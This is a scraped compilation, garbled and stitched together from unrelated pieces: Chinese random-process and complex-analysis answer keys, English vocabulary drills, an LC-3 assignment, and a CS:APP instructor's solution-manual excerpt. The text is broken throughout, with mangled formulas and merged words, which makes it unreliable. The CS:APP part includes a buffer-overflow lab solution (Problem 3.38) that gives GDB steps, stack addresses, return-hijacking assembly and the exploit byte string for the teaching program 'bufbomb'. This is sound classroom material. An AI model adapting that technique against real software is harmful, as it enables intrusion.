6_homework_solution_1
清华大学随机过程答案1
3. 质点在直线上做随机运动，即在 t = 1, 2, 3, · · · 时质点可以在 x 轴上往右或往左做一个 单位距离的随机游动。若往右移动一个单位距离的概率为 p，往左移动一个单位距离的 概率为 q，即 P {ξ (i) = +1} = p，P {ξ (i) = −1} = q，p + q = 1，且各次游动是相互统 ∑n 计独立的。经过 n 次游走，质点所处的位置为 ηn = η (n) = ξi。
参考答案：
(1) V = a 时，一条样本轨道为典型的正弦曲线。 2
(2) ξ (0) = 0，fξ(0)(x) = δ(x)；ξ (π/2ω) = V ，其概率密度同 V 一样。
(π) ξ
4ω
=
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√ 2
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π 4ω
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=
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xHale Waihona Puke <√a 2() 5π
ξ 4ω
=
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−
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pmqn−m = pn − qn。
m=0
m
∑n
解法二：因各次游走是相互统计独立的，则 E [η (n)] = E[ξi] = (p − q)n。
i=1
清华大学电子工程系版权所有
3
(2) 假设 n1 < n2,
Rηη (n1, n2) = E [η (n1) η (n2)] = E {η (n1) [η (n1) + η (n2) − η (n1)]} = E[η (n1)]2 + E [η (n1)] E [η (n2) − η (n1)] = {E [η (n1)]}2 + V ar [η (n1)] + (p − q)2n1 (n2 − n1) = (p − q)2n21 + n1V ar [ξi] + (p − q)2n1 (n2 − n1) = (p − q)2n1n2 + n1[1 − (p − q)2]
名师金典-一轮复习--必修2-Unit3-课件市公开课获奖课件省名师示范课获奖课件
※ II.短语回忆 ※
1.从……时起__f_r_o_m_…__o_n_____ 2.成果___a_s_a__re_s_u__lt_____ 3.如此……以至于……___s_o_…__th_a_t_…_____ 4.毕竟___a_ft_e_r_a_l_l ___ 5.在某种程度上____i_n_a__w_a_y__ 6.在……旳帮助下___w__it_h_t_h_e__h_e_lp__o_f__ 7.处理，安排，对付___d__e_a_l _w_it_h_____
【即ቤተ መጻሕፍቲ ባይዱ即练】翻译下列句子。 (1)在核电站更多那样旳麻烦一定会出现。 Many problems ___l_ik__e_ those at the nuclear power plant __a_r_e__ce_r_t_a_in__t_o_a_r_i_se_. (2)让我们从上次会议里出现旳问题开始讨论好吗？ Can we begin by discussing matters __a_r_is_i_n_g_f_r_o_m__t_h_e_l_a_st __m__e_e_ti_n_g____? (3)因为缺乏交流而产生旳问题不难处理。 Problems __a_r_i_si_n_g__o_u_t_o_f_t_h_e_l_a_c_k_o_f_c_o_m__m__u_n_ic_a_t_i_o_n_____ are not difficult to deal with.
rejected.
※Ⅱ.要点词组※
1.as a result 成果；最终
【归纳*拓展】 as a result of 因为……旳成果 result _fr_o_m__ 因……而 result __in___造成
【即学即练】根据句子意思，用上面旳短语完毕 句子。 (1)The snowstorm struck the city seriously.
homework12
1. a. b.2.3.4. 1. 2. 1. 2. Homework 12Programming in binary machine language1. Register manipulationCopy a value from register R2 into register R3 usingOnly one ADD instructionOnly one AND instructionClear value of register R5 using only one instructionUsing only one instruction, increment value in register R6 by 1.Using only one instruction, decrement value in register R5 by 2.2. Memory addressingUsing only one instruction, read value from memory located 20 memory locations away from the address stored in PC.Using only one instruction, generate and store in R5 address of a memory location 20 memory locations away from the current PC. Thendemonstrate how the address stored in R5 can be used to access memory at that address.3. Patt & Patel 6.4Systematically decompose the problem 6.4 from Patt & Patel textbook to the level of LC-3 instructions, then write LC-3 instructions to implement your solution. You may change the contents of R0, R1, and R2. Turn in your flow chart and LC-3 instructions in binary. For credit, each instruction must be annotated with a comment in RTL or assembly.4. 2nAssuming that R4 contains a positive value less than 15, put the value 2 into R3. You may change the contents of R3 and R4. Systematically R4decompose the problem to the level of LC-3 instructions, then write LC-3 instructions to implement your solution. Turn in your flow chart and LC-3 instructions in binary. For credit, each instruction must be annotated with a comment in RTL or assembly.5. Sum of sequenceAssuming that R5 contains a strictly positive number, compute the sum of integers from 1 to R5 and store the result in R2. You may change the contents of R2 and R5. Systematically decompose the problem to the level of LC-3 instructions, then write LC-3 instructions to implement your solution. Turn in your flow chart and LC-3 instructions in binary. For credit, each instruction must be annotated with a comment in RTL or assembly.6. Patt & Patel 6.16Solve problem 6.16 from Patt & Patel. Stop your execution trace when the PC reaches x3003, and do not fill in row x3003 of the table in your solution.7. Printing a lineTwo students are trying to print a line of periods bounded by asterisks to the console. The line is supposed to have N – 2 periods, where N 2. Forexample, when N = 8, they want to print, “” to the console (without quotes). Each student came up with a systematic decomposition that appears very *......*different from the other student's solution. Look at the two approaches, as represented by the flow charts below.Explain which approach is the better of the two and why you believe it to be better.Imagine that one must replace each box labeled “print ‘*’” with a complex algorithm requiring almost 1,000 LC-3 instructions toimplement. Repeat your comparison between the two approaches after the replacement described, again explaining why you believe your choiceto be the better one.Homework 12 is due on Wednesday, May 6, at the start of the lecture. Remember to include your (e.g.Discussions section ED1) andfollow the complete submission guidelines.Homework Please ask all questions about this assignment during the office hours, or post them on .piazza For your programs: write the instruction address, the binary LC-3 instruction, and the corresponding or assembly in the following format:RTL 0001 001 010 1 00100 ; R1 R2 + 40001 001 010 1 00100 ; ADD R1, R2, #4Note how .bits are arranged in groups that correspond to instruction-specific operands If you are not sure about the RTL format of a certain instruction, you can refer to Appendix A of your Patt & Patel text or read sections 5.5 and6.1. Try to make your program as simple and intuitive as you can.。
复分析答案1
1.1.1.3 This is an easy direct computation, or can be done by noting that all of these numbers have modulus 1, the first pair have argument π ± π 3 (so multiplication by 3 gives multiples of 2π), while the other pair in the second set (so multiplication by 6 gives multiples of 2π). have arguments ± π 3 1.1.2.4 One may apply the quadratic formula. 1.1.4.3 If |a| = 1 then a−b a−b = |a| =1 1−a ¯b a − |a|2 b
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1.2.2.4 Let w = cos(2πi/n) + i sin(2πi/n) = e2πi/n . Provided h is not a multiple of n we have wnh 1 + wh + . . . + w(n−1)h = 1 − wnh 1 − e2πhi = = 0. 1 − wh 1 − wh
1 and thus
1.2.3.1 To see when az + bz ¯ + c = 0 represents a line, recall exercise 1.1.4.4. We must have infinitely many solutions for the simultaneous equations, so they must be the same, so |a| = |b| and a ¯ c = bc ¯ . An equivalent form of the latter is that c is a real multiple of (a + b); we may find this by summing it with its complex conjugate to find ¯ )c, from which the ratio (a + b)/c is real. To be certain that the solution set is one dimensional (a + b)¯ c = (¯ a+b not two dimensional we must insist that |a| 0. 1.2.3.5 Rotation around the origin preserves the circle |z| = 1, preserves angles, and may be used to move a to lie on 1 1 1 1 the positive real axis. WLOG a > 1. Then the circle through a and 1 a has center 2 a + a and radius 2 a − a . The circles intersect at right angles iff the radii to the intersection point are at right angles iff (by Pythagoras’ theorem) the sum of the squares of the radii of the circles is the square of the distance to the center of the the circle through a and 1 a . Written algebraically, this is equivalent to 1+ 1 1 a− 4 a
2024-2025年北师大版英语必修第一册1.1课时作业(一) Topic Talk(带答案)
课时作业(一)Topic Talk基础知识夯实Ⅰ.单词拼写根据汉语和首字母提示写单词。
1．Faced with a challenging market of the 21st century, our company is filled with c________ (信心).2．Under the s________ (紧张的) work and the pressure of the life, most people feel unhappy and tired.3．Unfortunately, some problems arose out of his expectation and he had to adjust his s________(日程表).4．A number of high buildings have a________ (出现) where there was an old senior high school a year ago.5．I took the title of this c________ (章节)from one of my previous books.6．Most new senior secondary school students live on c________(校园).7．He was handsome, d________(充满活力的) and full of confidence.8．It was when I got back to my a________(公寓) that I came across my previous neighbours.9．The company needs someone who has competence with computers, and can adapt to shift work and work under big p________(压力).10．I really hope that I can stay here and play because I am trying to r________(恢复)from the recent injury.Ⅱ.单句语法填空在空白处填入1个适当的单词或括号内单词的正确形式。
小学下册K卷英语第一单元综合卷
小学下册英语第一单元综合卷英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1. A ____ swims in the pond and has smooth skin.2.What is the capital of Portugal?A. LisbonB. PortoC. MadridD. BarcelonaA3.Electrons are negatively charged _______ found in atoms.4.How many sides does a square have?A. ThreeB. FourC. FiveD. Six5.How many fingers do humans typically have?A. 8B. 10C. 12D. 146.The _______ (猪) enjoys rolling in mud.7.What is the opposite of "big"?A. LargeB. HugeC. SmallD. TallC8.Certain plants have special adaptations that allow them to survive in ______ environments. (某些植物具有特殊的适应性，使它们能够在极端环境中生存。
)9.The sun shines on the ______.10.Martin Luther King Jr. is known for his role in the ________ rights movement.11.The __________ (历史的演变) shows how cultures adapt and change.12.Dolphins are very _______ (聪明的).13.What is the term for a young fox?A. CubB. KitC. PupD. CalfB Kit14.What is the primary ingredient in a traditional chili con carne?A. BeansB. BeefC. TomatoesD. Spices15.My favorite snack is ______ (水果). It is healthy and very ______ (好吃).16.The kitten loves to chase its own ______ (尾巴). It is very ______ (搞笑).17. A _____ (自然景观) can inspire artists.18.What do we call the act of creating a new idea or product?A. InnovationB. InventionC. ImaginationD. IdeationA19.Bubbles forming in a solution may indicate a ________ reaction.20.This boy, ______ (这个男孩), enjoys learning about space.21. A compound's molecular formula shows the number of each _____ present.22.The skin of a snake is ______.23.The __________ was an important trade route in ancient times. (丝绸之路)24.The chemical formula for copper(II) sulfate is _______.25.My dad loves __________ (参观博物馆).26.The __________ is where most volcanic activity occurs.27.Which part of the plant absorbs water?A. LeavesB. StemC. RootsD. Flowers28.Space is a vacuum, which means it has no ______.29.The condor soars high above the ________________ (山脉).30.The _____ (ball/box) is round.31.Which shape has three sides?A. SquareB. TriangleC. CircleD. Rectangle32.What is 30 15?A. 10B. 15C. 20D. 25B33.The _____ (小鸟) builds a nest.34.Which animal is known as "man's best friend"?A. CatB. DogC. BirdD. FishB35.The ______ (花粉) is vital for plant reproduction.36.Which planet do we live on?A. MarsB. EarthC. JupiterD. SaturnB37.What do you call a series of mountains?A. ValleyB. RangeC. HillD. PlateauB38.An element that conducts electricity well is called a _____ (conductor).39.What is the capital city of Kenya?A. NairobiB. MombasaC. KisumuD. Nakuru40.What do you call the process of a caterpillar becoming a butterfly?A. MetamorphosisB. EvolutionC. TransformationD. AdaptationA41. A solution is a mixture of ______ and solvent.42.What do we call the time when the sun sets?A. SunriseB. SunsetC. NoonD. MidnightB43.My friend is __________ (可敬的).44.Some animals are ______, meaning they eat both plants and meat.45.An example of a noble gas is ______.46.What is the name of the famous artist who painted the Mona Lisa?A. Vincent van GoghB. Pablo PicassoC. Leonardo da VinciD. Claude MonetC47.The ice cream is ________ and sweet.48.The owl has excellent _______ (视力) at night.49.What do we call the act of preparing food?A. CookingB. BakingC. GrillingD. All of the AboveD50.What do you call a person who studies the past?A. HistorianB. ArchaeologistC. ResearcherD. All of the aboveD51.How many players are on a soccer team?A. FiveB. SixC. SevenD. Eleven52.What do we call the time when students go to school?A. VacationB. ClassC. LessonD. Term53.I can ________ my homework.54.What is 8 ÷ 2?A. 4B. 5C. 6D. 7A55.What do you call a baby walrus?A. CalfB. PupC. KitD. Cub56.Every Saturday, I visit my grandparents. They always have ________ (玩具) for me to play with.57.How many strings does a standard guitar have?A. FourB. FiveC. SixD. Seven58.My neighbor is very __________. (友好)59.The __________ is a well-known landmark of freedom.60.The ancient Egyptians built _______ for their pharaohs.61.The _______ (The Industrial Revolution) revolutionized how goods were produced.62.I enjoy watching a _______ (小狐狸) in the wild.63.Planting _____ (本地植物) supports the ecosystem.64.My favorite type of ________ (食物) is sushi.65.I like to build a _____ (沙堡) at the beach.66.The __________ (历史的回声) resonates with humanity.67. A __________ is an area of land dedicated to wildlife.68.We celebrate our ______ (生日) with cake.69.We go to _______ (公园) on weekends.70.The ______ is very inspiring.71.__________ (化学论坛) allow for discussion of recent findings and trends.72.What is the name of the ocean located between Africa and Australia?A. Indian OceanB. Atlantic OceanC. Pacific OceanD. Arctic OceanA73.Turtles move very _________ (慢).74. A __________ is a famous city for its festivals.75.I saw a _______ (鸟) in the tree.76.What is the opposite of ‘near’?A. CloseB. FarC. TogetherD. Adjacent77.Iron is a type of ______.78.Growing plants can teach us about __________ (生命的循环).79. A sloth is known for being very ______.80.The assassination of ________ (肯尼迪) shocked the nation.81.The _______ (The Civil Rights Movement) sought to end racial segregation.82.What is the capital of Sri Lanka?A. ColomboB. KandyC. GalleD. Jaffna83. f Enlightenment emphasized reason and __________. (科学) The Age84.What do you call a person who repairs cars?A. EngineerB. MechanicC. DriverD. TechnicianB85.I have a ________ (滑板) that I practice tricks on.86.ipation Proclamation freed slaves in the __________ (南方). The Eman87.What is the main ingredient in bread?A. SugarB. FlourC. RiceD. SaltB88.What is the capital city of Egypt?A. CairoB. GizaC. AlexandriaD. Luxor89.Which animal is known for its black and white stripes?A. LionB. TigerC. ZebraD. Elephant90.The ________ (步道) leads to the waterfall.91.The ______ is a skilled storyteller.92.The Berlin Wall fell in the year ________.93.I enjoy making up stories with my __________ (玩具名).94.The ____ has big wings and can glide through the air.95.The __________ (历史的趋势) can inform policymaking.96.The ______ (植物科学) is fascinating to explore.97.The symbol for sodium is _____.98.The chemical symbol for samarium is _______.99.My brother loves to __________ (参加) gaming tournaments. 100.Which fruit is red and often used in pies?A. BananaB. CherryC. OrangeD. GrapesB。
answer
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode 